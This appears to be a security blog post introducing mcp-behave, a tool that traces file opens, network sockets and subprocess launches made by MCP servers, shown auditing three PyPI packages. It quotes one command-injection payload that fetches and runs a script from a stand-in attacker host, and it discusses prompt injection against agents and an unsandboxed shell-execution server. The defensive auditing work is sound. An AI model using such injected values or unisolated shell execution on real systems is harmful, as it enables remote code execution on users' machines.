The Model Context Protocol (MCP) has rapidly emerged as the universal standard connecting Large Language Models to local databases, shell tools, and APIs. But today's server verification relies almost exclusively on static schema analysis — linters and registries checking description strings, parameter types, and metadata formatting. That creates a critical visibility gap: static analysis inspects what a server declares, never what it actually does at runtime. In this study, we run mcp-behave — an open-source runtime behavioral auditor using user-space dynamic library interposition — against three real-world production MCP servers published on PyPI: Anthropic's official mcp-server-time (the safe local baseline), mcp-server-fetch (observing expected network egress), and mcp-server-shell (observing unconstrained host shell execution). We show how dynamic libc interposition captures file operations, network sockets, and subprocess launches (/bin/sh) without requiring root permissions, examine how runtime tracing informs analysis of known vulnerability classes like CVE-2025-54073 and CVE-2025-53110, and outline the boundary between observational auditing and security enforcement.
1. The Core Problem: The MCP Privilege Gap
When a developer configures an MCP server in Claude Desktop, Cursor, or an autonomous CLI agent:
{
"mcpServers": {
"shell-helper": {
"command": "python",
"args": ["-m", "mcp_server_shell"]
}
}
}
That process does not run in a sandboxed browser environment or an isolated hypervisor by default. It executes locally with the developer's full operating system user privileges. It inherits the developer's $HOME directory, SSH private keys in ~/.ssh, cloud tokens in ~/.aws/credentials, environment secrets (.env), and access to local network sockets.
In the MCP specification, servers communicate with the model over JSON-RPC via standard input/output or HTTP/SSE:
tools/list: Returns available tools, human-readable descriptions, and JSON Schemas.tools/call: Executes a tool with model-synthesized arguments.
Why Static Schema Auditing Is Incomplete
Registry linters inspect the AST or the JSON manifest. They verify that types conform to JSON Schema Draft 7 and that docstrings are well-formed. However:
- Zero Runtime Visibility: A tool declaring itself "Purely local text formatting" can quietly open an outbound TCP socket to an external server or read credentials off disk without altering its static manifest.
- The Prompt-Injection Multiplier: While a developer might assume an execution tool will only be used when they explicitly ask for it, an autonomous agent reading an untrusted webpage, a pull request diff, or a poisoned document can be hijacked via indirect prompt injection to trigger tools with attacker-chosen arguments.
- The Rug-Pull Threat: An open-source package published as version
0.1.0with clean, benign tools can release version0.1.1with unconstrained command execution or telemetry probes without altering existing tool signatures.
Tool schemas and docstrings are declarations directed at the LLM planner. They provide helpful context for tool selection, but zero programmatic guarantees about the actual system calls executed by the underlying runtime process.
2. Architecture of mcp-behave: Dynamic Library Interposition
To establish ground-truth observability without requiring kernel extensions, eBPF root privileges, or hypervisor virtualization, I built mcp-behave. It treats any MCP server as a black-box executable under test:
Technical Foundations and Boundaries
- Non-Invasive C Library Interposition (User-Space, No Root):
- On macOS,
mcp-behaveinjectslibmcpbehave_trace.dylibviaDYLD_INSERT_LIBRARIES, interposing standard dynamic library entry points:open,openat,connect,execve,execv, andposix_spawn. - On Linux, it injects
libmcpbehave_trace.soviaLD_PRELOAD(with fallback tostracewhen available). - Traces are written to a dedicated descriptor (
$MCP_BEHAVE_TRACE_FILE), keeping stdout pristine for JSON-RPC protocol traffic.
- On macOS,
- Architectural Scope & Limitations: Because
mcp-behaveoperates via dynamic library interposition, it intercepts calls made through standard dynamically linked C libraries (which covers mainstream Python, Node.js, and Ruby interpreters). It does not intercept direct inline kernel syscalls or statically compiled binaries that bypass libc entirely unless run with the Linuxstracebackend. - Schema-Aware Canary Synthesis: The probe engine reads the server's live JSON Schema and generates valid inputs respecting
format(URI, email, date-time),minimumboundaries, anddefaultvalues, injecting canary strings (canary-input,http://example.com/,/tmp/probe-canary.txt). - Differential Scope Analysis: Flags outbound network connects (distinguishing expected egress from undeclared connections), detects reads to sensitive paths (
~/.ssh,.env,.aws), surfaces subprocess launches, and records cryptographic manifest hashes across runs to detect rug-pulls.
3. Auditing Real-World MCP Servers
Rather than relying solely on synthetic control fixtures, we evaluated three publicly published packages from the Python Package Index (PyPI):
mcp-server-time(Anthropic Official Reference, v2026.11.11)mcp-server-shell(Community Terminal Helper, v0.1.0)mcp-server-fetch(Anthropic Official Reference, v2026.11.11)
Target A: The Safe Baseline (mcp-server-time)
Anthropic's mcp-server-time provides local timezone and offset conversions across three tools: get_current_time, convert_time, and get_time_ago.
$ mcp-behave /tmp/audit_env/bin/mcp-server-time
=== STEP 1: observe (macos-dylib) ===
[probe] discovered 3 tool(s)
[probe] calling tool get_current_time({"timezone": "Asia/Tehran"})
[probe] calling tool convert_time({"source_timezone": "Asia/Tehran", "time": "canary-input", "target_timezone": "Asia/Tehran"})
[probe] calling tool get_time_ago({"timezone": "Asia/Tehran", "days_ago": 0, "hours_ago": 0, "minutes_ago": 0, "seconds_ago": 0})
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===
target tools: get_current_time, convert_time, get_time_ago
resources: 0, prompts: 0
declared scope hints: none
--------------------------------------------------------
no declared-vs-observed deviations detected
Inspecting trace.log reveals 572 total libc open() calls. 565 were filtered as standard runtime library noise (Python C-extensions and bytecode caches). The remaining 7 were legitimate OS timezone databases (/etc/timezone, /var/db/zoneinfo). Crucially:
- Network Sockets: Exactly 0 (no
connect()calls). - Subprocesses: Exactly 0 (no
exec/posix_spawncalls). - Sensitive Files: Exactly 0 credential stores accessed.
- Observed Behavior: Strictly contained in-memory operations and standard system timezone lookups. Clean baseline (exit code 0).
Target B: Privileged Host Capability (mcp-server-shell)
Published on PyPI as mcp-server-shell==0.1.0, this server declares a single tool: execute_command({"command": "string"}) with description "Execute a shell command and return its output".
Inspecting the package's server.py reveals the underlying implementation:
class ShellServer:
def execute_command(self, command: str) -> CommandResult:
logger.info(f"Executing command: {command}")
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True
)
return CommandResult(...)
Here, an important security distinction is necessary:
Spawning /bin/sh is not an exploit; it is the tool's advertised function. The tool explicitly advertises that it executes shell commands, and it uses Python's standard subprocess.run(shell=True) to fulfill that contract.
However, from a security architecture perspective, running mcp-behave against this live package observes the true privilege tier of the server:
$ mcp-behave /tmp/audit_env/bin/python -m mcp_server_shell
=== STEP 1: observe (macos-dylib) ===
[probe] discovered 1 tool(s)
[probe] calling tool execute_command({"command": "canary-input"})
2026-11-18 09:07:41,349 - INFO - Executing command: canary-input
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===
target tools: execute_command
resources: 0, prompts: 0
declared scope hints: none
--------------------------------------------------------
[i] INFO spawned subprocess: /bin/sh
In trace.log, mcp-behave captured the raw process spawn: X /bin/sh. The finding is classified as INFO because the tool declared execution capabilities, but the observation provides critical intelligence: the server operates as an unconstrained host execution vector without an isolation boundary. If an autonomous agent with access to this tool processes untrusted external input (such as an indirect prompt injection in a README or webpage), this privileged capability can be invoked with arbitrary payloads.
Target C: Expected Network Egress (mcp-server-fetch)
To evaluate network observation, we audited Anthropic's official mcp-server-fetch:
$ mcp-behave /tmp/audit_env/bin/mcp-server-fetch --no-readability-js
=== STEP 1: observe (macos-dylib) ===
[probe] discovered 1 tool(s)
[probe] calling tool fetch({"url": "http://example.com/", "max_length": 5000, "start_index": 0, "raw": false, "timeout_ms": 30000})
HTTP Request: GET http://example.com/robots.txt "HTTP/1.1 404 Not Found"
HTTP Request: GET http://example.com/ "HTTP/1.1 200 OK"
[probe] manifest -> /tmp/mcp_behave_out/manifest.json
[probe] trace -> /tmp/mcp_behave_out/trace.log
=== STEP 2: declared-vs-observed diff ===
target tools: fetch
resources: 0, prompts: 1
declared scope hints: none
--------------------------------------------------------
[i] INFO network egress to 172.66.147.243:80
Here again, context is paramount: making an outbound HTTP request is expected behavior for a web-fetching tool. It is not inherently suspicious or malicious.
What the experiment proves is observational fidelity: the tracer intercepted the dynamic libc connect() call to remote socket 172.66.147.243:80. This establishes the foundation for future policy enforcement:
- Expected Egress: Fetching a public destination explicitly requested by the probe or model.
- Undeclared Egress: Sockets initiated by tools that declare themselves purely local or offline (which
mcp-behaveelevates to HIGH severity). - Restricted Destination Violations: Sockets dialing private or loopback ranges (e.g.
127.0.0.1,10.0.0.0/8, or cloud metadata services at169.254.169.254). Anthropic'smcp-server-fetchincludes application-level guards against private IPs by default, and runtime tracing provides verification of those guards.
4. Comparison Matrix: Observed Runtime Profiles
| Metric | mcp-server-time | mcp-server-fetch | mcp-server-shell |
|---|---|---|---|
| Origin | Anthropic Official (PyPI) | Anthropic Official (PyPI) | Community Package (PyPI) |
| Declared Purpose | Date & Time utilities | Web page retrieval & Markdown | Shell command execution |
| Tools Probed | 3 tools | 1 tool | 1 tool |
| Observed File Opens | 572 total (7 OS zoneinfo) | 610 total (SSL certs) | 593 total (system plists) |
| Observed Network | 0 sockets | 1 socket (172.66.147.243:80) | 0 sockets |
| Observed Subprocesses | 0 | 0 | 1 host shell (/bin/sh) |
| Privilege Tier | Contained (In-memory computation) | Network Egress (Outbound HTTP) | Host Subprocess Execution |
| mcp-behave Verdict | Clean Baseline (Exit 0) | Expected Egress Observed (Exit 0) | Privileged Capability Observed (Exit 0) |
5. How Runtime Tracing Can Help Investigate Known MCP Vulnerability Classes
The behavioral patterns surfaced above directly illuminate two major vulnerability classes that emerged in published MCP packages during 2025 and 2026. While the specific exploits below were not executed in our control run, examining their mechanics demonstrates how runtime behavioral observation complements static linting:
Vulnerability Class A: Command Injection (e.g., CVE-2025-54073 in mcp-package-docs)
The Flaw: In mcp-package-docs (npm), unsanitized user inputs were concatenated directly into shell arguments passed to Node's child_process.exec(). An attacker providing a package name containing shell metacharacters (e.g. react; curl attacker.com/sh | sh) achieved arbitrary command execution.
Static Scanner Limitation: The tool manifest declared package_name: string. AST linters saw standard type annotations and a legitimate tool description. Nothing in the schema indicated dangerous behavior.
Runtime Tracing Contribution: In an audit environment, dynamic library interposition intercepts posix_spawn or execve calls. When an execution probe sends synthetic metacharacter sequences, the immediate appearance of /bin/sh executing secondary binaries provides an unambiguous signal of command concatenation before deployment.
Vulnerability Class B: Path Traversal (e.g., CVE-2025-53110 in Filesystem MCP)
The Flaw: Path validation logic in directory prefix matching allowed attackers to access files outside the allowed directory when two directory names shared common prefixes (e.g. /workspace_allowed vs /workspace_allowed_secret), or via relative traversal sequences.
Static Scanner Limitation: The tool declared standard file management functions (read_file, write_file) with valid string paths.
Runtime Tracing Contribution: mcp-behave monitors every open() and openat() libc call against both the declared workspace root and a curated list of sensitive credential paths (~/.ssh, id_rsa, .aws/credentials, .env, /etc/shadow). When canary probes attempt path traversal, any libc read targeting a sensitive file triggers an immediate HIGH severity alert.
6. Engineering Deep-Dive: Intercepting Subprocesses on Modern OSes
During our audit of Python-based MCP servers on macOS Apple Silicon, we encountered a subtle systems-level challenge in tracing child processes that is instructive for security tool developers:
When Python invokes subprocess.run(shell=True):
- Python invokes
_posixsubprocess.fork_exec(). - In the forked child process, Python's runtime runs
close_open_fds()to close all file descriptors above standard error (the defaultclose_fds=True). - This action closed the tracer's active log descriptor (
g_trace_fd) inside the child process. - When the subsequent
execvorexecvecall fired in the child, attempts to write tog_trace_fdfailed silently withEBADF(Bad file descriptor).
To improve trace reliability across child forks, we updated macos_tracer.c and linux_tracer.c to detect descriptor invalidation and re-open the trace file atomically with append semantics:
static void emit(const char *buf, size_t len) {
if (g_trace_fd < 0) {
const char *path = getenv("MCP_BEHAVE_TRACE_FILE");
if (path && *path) g_trace_fd = open(path, O_WRONLY | O_APPEND | O_CREAT, 0600);
}
if (g_trace_fd < 0) return;
ssize_t w = write(g_trace_fd, buf, len);
if (w < 0) {
/* If write fails because child closed descriptors before exec, re-open */
const char *path = getenv("MCP_BEHAVE_TRACE_FILE");
if (path && *path) {
int fd = open(path, O_WRONLY | O_APPEND | O_CREAT, 0600);
if (fd >= 0) {
(void)!write(fd, buf, len);
g_trace_fd = fd;
}
}
}
}
This significantly improves subprocess-event reliability when child processes close inherited trace descriptors before execution. For standard dynamically linked runtimes (Python, Node.js) that execute subprocesses via libc's posix_spawn, execve, or execv, atomic reopening ensures that fork-and-exec sequences are faithfully logged without losing records to EBADF.
7. Evolution: From Behavior Observer to Security Policy Platform
It is important to clearly distinguish what mcp-behave provides today from what a full security platform requires:
| Capability Area | mcp-behave Today (Observer) | Next Phase (Policy Platform) |
|---|---|---|
| Filesystem | Detects and filters libc open() calls; alerts on sensitive paths |
Enforces strict directory boundary policies per tool |
| Network | Detects outbound connect() IP/port; alerts if claimed offline |
Evaluates domain and CIDR allowlists; blocks private IP egress |
| Execution | Detects subprocess launches (/bin/sh, binaries) |
Enforces sandboxing profiles (e.g. seatbelt / landlock / bubblewrap) |
| Integrity | Computes SHA-256 manifest hashes to catch rug-pulls across runs | Continuous registry verification and automated regression diffs |
Recommendations for the Ecosystem
- For Registries (Glama, Smithery, Official Registry): Integrate automated behavioral audits into ingestion CI pipelines. Ground registry badges in empirical facts: 0 network sockets observed, 0 subprocesses spawned, strict path isolation verified.
- For Enterprise Security Teams: Mandate behavioral audits before deploying third-party MCP servers onto developer laptops. Run
mcp-behave --json --fail-on high <command>in pre-commit and deployment hooks. - For MCP Authors: Implement explicit sandboxes, avoid raw shell expansion, and declare network requirements transparently in server metadata.
Static schema verification guarantees syntactic validity; it says nothing about runtime integrity. Before connecting an MCP tool to Claude Desktop or Cursor, don't just read the schema. Observe what it actually does.
Project Resources
- mcp-behave Repository: github.com/navid72m/mcp-behave
- PyPI Package:
pip install mcp-behave - Tested MCP Packages:
mcp-server-time,mcp-server-shell,mcp-server-fetch
If you're building or securing agentic tools and want to discuss behavioral sandboxing, feel free to reach out at navid72m@gmail.com.